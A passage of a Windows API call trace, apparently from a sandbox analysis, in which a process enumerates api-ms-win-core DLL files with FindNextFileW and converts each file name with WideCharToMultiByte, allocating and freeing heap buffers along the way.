BaseAddress=0x1d7c120) returned 1 [0031.322] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.322] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.322] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cfe04a0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cfe04a0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.322] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.322] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0031.322] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1d7c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0031.322] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.322] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.323] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.323] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.323] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.323] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.323] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.323] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0031.323] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x1d7c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0031.323] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.323] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.323] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.323] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.323] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.323] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d078a1c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d078a1c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.323] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.323] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0031.323] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x1d7c120, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 38 [0031.323] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.323] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.323] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.323] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.323] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.323] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.323] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.323] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0031.323] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x1d7c288, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 29 [0031.323] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.323] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.323] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.323] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.323] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.324] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.324] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.324] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0031.324] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x1d7c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0031.324] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.324] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.324] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.324] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.324] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.324] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.324] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.324] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0031.324] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x1d7c288, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0031.324] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.324] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.324] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.324] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.324] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.324] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0031.324] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.324] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0031.324] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x1d7c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0031.324] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.324] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.324] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.324] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.324] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.324] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.324] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.324] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0031.325] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x1d7c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0031.325] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.325] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.325] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.325] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.325] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.325] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0eae39, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0eae39, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.325] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.325] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0031.325] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1d7c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0031.325] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.325] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.325] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.325] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.325] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.325] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.325] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.325] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0031.325] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x1d7c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0031.325] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.325] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.325] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.325] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.325] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.325] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.325] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.325] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0031.325] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x1d7c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0031.326] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.326] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.326] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.326] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.326] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.326] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.326] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.326] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0031.326] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x1d7c288, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 45 [0031.326] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.326] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.326] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.326] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.326] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.326] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.326] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.326] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, 